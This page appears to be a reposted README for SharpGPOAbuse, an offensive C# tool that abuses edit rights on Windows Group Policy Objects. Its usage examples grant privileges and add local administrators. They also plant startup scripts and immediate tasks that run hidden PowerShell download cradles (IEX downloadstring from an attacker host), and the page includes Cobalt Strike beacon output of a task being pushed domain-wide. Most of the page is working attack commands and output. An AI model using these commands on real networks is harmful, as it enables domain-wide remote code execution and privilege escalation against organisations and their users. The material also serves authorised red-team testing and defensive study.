-->

SharpGPOAbuse - Tool To Take Advantage Of A User'S Edit Rights On A Group Policy Object (GPO) In Order To Compromise The Objects That Are Controlled By That GPO


SharpGPOAbuse is a .NET application written in C# that can be used to take advantage of a user's edit rights on a Group Policy Object (GPO) in order to compromise the objects that are controlled by that GPO.

More details can be found at the following blog post: https://labs.mwrinfosecurity.com/tools/sharpgpoabuse


Compile Instructions

Make sure the necessary NuGet packages are installed properly and simply build the project in Visual Studio.


Usage
Usage:        SharpGPOAbuse.exe <AttackType> <AttackOptions>

Attack Options

Adding User Rights
Options required to add new user rights:--UserRights        Set the new rights to add to a user. This option is case sensitive and a comma separeted list must be used.--UserAccount        Set the account to add the new rights.--GPOName        The name of the vulnerable GPO.        Example:        SharpGPOAbuse.exe --AddUserRights --UserRights "SeTakeOwnershipPrivilege,SeRemoteInteractiveLogonRight" --UserAccount bob.smith --GPOName "Vulnerable GPO"

Adding a Local Admin
Options required to add a new local admin:--UserAccount        Set the name of the account to be added in local admins.--GPOName        The name of the vulnerable GPO.Example:        SharpGPOAbuse.exe --AddLocalAdmin --UserAccount bob.smith --GPOName "Vulnerable GPO"

Configuring a User or Computer Logon Script
Options required to add a new user or computer startup script:--ScriptName        Set the name of the new startup script.--ScriptContents        Set the contents of the new startup script.--GPOName        The name of the vulnerable GPO.Example:         SharpGPOAbuse.exe --AddUserScript --ScriptName StartupScript.bat --ScriptContents "powershell.exe -nop -w hidden -c \"IEX ((new-object net.webclient).downloadstring('http://10.1.1.10:80/a'))\"" --GPOName "Vulnerable GPO"

If you want to run the malicious script only on a specific user or computer controlled by the vulnerable GPO, you can add an if statement within the malicious script:

SharpGPOAbuse.exe --AddUserScript --ScriptName StartupScript.bat --ScriptContents "if %username%==<targetusername> powershell.exe -nop -w hidden -c \"IEX ((new-object net.webclient).downloadstring('http://10.1.1.10:80/a'))\"" --GPOName "Vulnerable GPO"

Configuring a Computer or User Immediate Task
Options required to add a new computer or user immediate task:--TaskName        Set the name of the new computer task.--Author        Set the author of the new task (use a DA account).--Command        Command to execute.--Arguments        Arguments passed to the command.--GPOName        The name of the vulnerable GPO.Additional User Task Options:--FilterEnabled        Enable Target Filtering for user immediate tasks.--TargetUsername        The user to target. The malicious task will run only on the specified user. Should be in the format <DOMAIN>\<USERNAME>--TargetUserSID        The targeted user's SID.Additional Computer Task Options:--FilterEnabled        Enable Target Filtering for computer immediate tasks.--TargetDnsName        The DNS name of the computer to target. The malicious task will run only on the specified host.           Example:         SharpGPOAbuse.exe --AddComputerTask --TaskName "Update" --Author DOMAIN\Admin --Command "cmd.exe" --Arguments "/c powershell.exe -nop -w hidden -c \"IEX ((new-object net.webclient).downloadstring('http://10.1.1.10:80/a'))\"" --GPOName "Vulnerable GPO"

If you want to run the malicious task only on a specific user or computer controlled by the vulnerable GPO you can use something similar to the following:

SharpGPOAbuse.exe --AddComputerTask --TaskName "Update" --Author DOMAIN\Admin --Command "cmd.exe" --Arguments "/c powershell.exe -nop -w hidden -c \"IEX ((new-object net.webclient).downloadstring('http://10.1.1.10:80/a'))\"" --GPOName "Vulnerable GPO" --FilterEnabled --TargetDnsName target.domain.com

Additional Options
Option Description
--DomainController Set the target domain controller
--Domain Set the target domain
--Force Overwrite existing files if required

Example Output
beacon> execute-assembly /root/Desktop/SharpGPOAbuse.exe --AddComputerTask --TaskName "New Task" --Author EUROPA\Administrator --Command "cmd.exe" --Arguments "/c powershell.exe -nop -w hidden -c \"IEX ((new-object net.webclient).downloadstring('http://10.1.1.141:80/a'))\"" --GPOName "Default Server Policy"[*] Tasked beacon to run .NET program: SharpGPOAbuse_final.exe --AddComputerTask --TaskName "New Task" --Author EUROPA\Administrator --Command "cmd.exe" --Arguments "/c powershell.exe -nop -w hidden -c \"IEX ((new-object net.webclient).downloadstring('http://10.1.1.141:80/a'))\"" --GPOName "Default Server Policy"[+] host called home, sent: 171553 bytes[+] received output:[+] Domain = europa.com[+] Domain Controller = EURODC01.europa.com[+] Distinguished Name = CN=Policies,CN=System,DC=europa,DC=com[+] GUID of "Default Server Policy" is: {87   7CB769-3543-40C6-A757-F2DF4E5E28BD}[+] Creating file \\europa.com\SysVol\europa.com\Policies\{877CB769-3543-40C6-A757-F2DF4E5E28BD}\Machine\Preferences\ScheduledTasks\ScheduledTasks.xml[+] versionNumber attribute changed successfully[+] The version number in GPT.ini was increased successfully.[+] The GPO was modified to include a new immediate task. Wait for the GPO refresh cycle.[+] Done!


Disqus Comments